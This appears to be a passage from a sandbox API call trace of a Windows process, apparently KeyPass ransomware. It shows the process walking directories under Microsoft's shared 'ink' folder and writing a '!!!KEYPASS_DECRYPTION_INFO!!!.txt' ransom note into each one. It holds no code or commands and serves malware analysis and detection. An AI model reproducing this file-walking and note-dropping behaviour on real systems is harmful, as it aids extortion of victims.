PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned=".xml" [0239.589] FindNextFileW (in: hFindFile=0xd06400, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0239.589] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.589] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned=".xml" [0239.589] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.589] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.589] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2c640 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.589] GetLastError () returned 0x3f0 [0239.589] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.589] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0239.591] GetFileType (hFile=0x47c) returned 0x1 [0239.591] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0239.591] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0239.591] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0239.591] WriteFile (in: hFile=0x47c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0239.593] WriteFile (in: hFile=0x47c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0239.593] CloseHandle (hObject=0x47c) returned 1 [0239.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd06440 [0239.594] FindNextFileW (in: hFindFile=0xd06440, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.594] FindNextFileW (in: hFindFile=0xd06440, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.594] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.594] FindNextFileW (in: hFindFile=0xd06440, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.594] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned=".xml" [0239.594] FindNextFileW (in: hFindFile=0xd06440, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0239.594] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.594] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned=".xml" [0239.594] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.594] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.594] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2c640 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.594] GetLastError () returned 0x3f0 [0239.594] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.594] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0239.595] GetFileType (hFile=0x47c) returned 0x1 [0239.595] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0239.595] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0239.595] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0239.595] WriteFile (in: hFile=0x47c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0239.596] WriteFile (in: hFile=0x47c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0239.596] CloseHandle (hObject=0x47c) returned 1 [0239.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd06800 [0239.596] FindNextFileW (in: hFindFile=0xd06800, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.596] FindNextFileW (in: hFindFile=0xd06800, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.596] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.596] FindNextFileW (in: hFindFile=0xd06800, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.596] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned=".xml" [0239.596] FindNextFileW (in: hFindFile=0xd06800, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.596] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned=".xml" [0239.596] FindNextFileW (in: hFindFile=0xd06800, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.596] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned=".xml" [0239.596] FindNextFileW (in: hFindFile=0xd06800, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0239.596] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.596] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned=".xml" [0239.597] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.597] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.597] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.597] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.597] GetLastError () returned 0x3f0 [0239.597] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.597] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484 [0239.600] GetFileType (hFile=0x484) returned 0x1 [0239.600] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.600] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.600] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.600] WriteFile (in: hFile=0x484, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.601] WriteFile (in: hFile=0x484, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.601] CloseHandle (hObject=0x484) returned 1 [0239.601] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd062c0 [0239.601] FindNextFileW (in: hFindFile=0xd062c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.601] FindNextFileW (in: hFindFile=0xd062c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.601] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.601] FindNextFileW (in: hFindFile=0xd062c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.601] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned=".mui" [0239.601] FindNextFileW (in: hFindFile=0xd062c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.601] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.601] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.601] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.601] GetLastError () returned 0x3f0 [0239.601] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.601] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x488 [0239.602] GetFileType (hFile=0x488) returned 0x1 [0239.602] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.602] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.602] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.602] WriteFile (in: hFile=0x488, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.603] WriteFile (in: hFile=0x488, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.604] CloseHandle (hObject=0x488) returned 1 [0239.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06240 [0239.604] FindNextFileW (in: hFindFile=0xd06240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.604] FindNextFileW (in: hFindFile=0xd06240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.604] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.604] FindNextFileW (in: hFindFile=0xd06240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.604] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned=".mui" [0239.604] FindNextFileW (in: hFindFile=0xd06240, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.604] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.604] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.604] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.604] GetLastError () returned 0x3f0 [0239.604] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.604] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c [0239.606] GetFileType (hFile=0x48c) returned 0x1 [0239.606] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.606] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.606] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.606] WriteFile (in: hFile=0x48c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.607] WriteFile (in: hFile=0x48c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.607] CloseHandle (hObject=0x48c) returned 1 [0239.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06480 [0239.607] FindNextFileW (in: hFindFile=0xd06480, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.607] FindNextFileW (in: hFindFile=0xd06480, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.607] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.607] FindNextFileW (in: hFindFile=0xd06480, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.607] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned=".mui" [0239.607] FindNextFileW (in: hFindFile=0xd06480, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.608] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.608] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned=".dat" [0239.608] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.608] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.608] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.608] GetLastError () returned 0x3f0 [0239.608] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.608] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x490 [0239.636] GetFileType (hFile=0x490) returned 0x1 [0239.636] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.636] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.636] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.636] WriteFile (in: hFile=0x490, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.637] WriteFile (in: hFile=0x490, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.637] CloseHandle (hObject=0x490) returned 1 [0239.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06300 [0239.637] FindNextFileW (in: hFindFile=0xd06300, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.637] FindNextFileW (in: hFindFile=0xd06300, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.637] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.637] FindNextFileW (in: hFindFile=0xd06300, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.637] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned=".dat" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned=".dat" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned=".dat" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned=".dat" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned=".dll" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned=".dll" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe") returned=".exe" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned=".xml" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned=".xml" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned=".xml" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned=".xml" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned=".xml" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned=".xml" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned=".xml" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned=".xml" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned=".xml" [0239.638] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.638] PathFindExtensionW (pszPath="C:\\Program 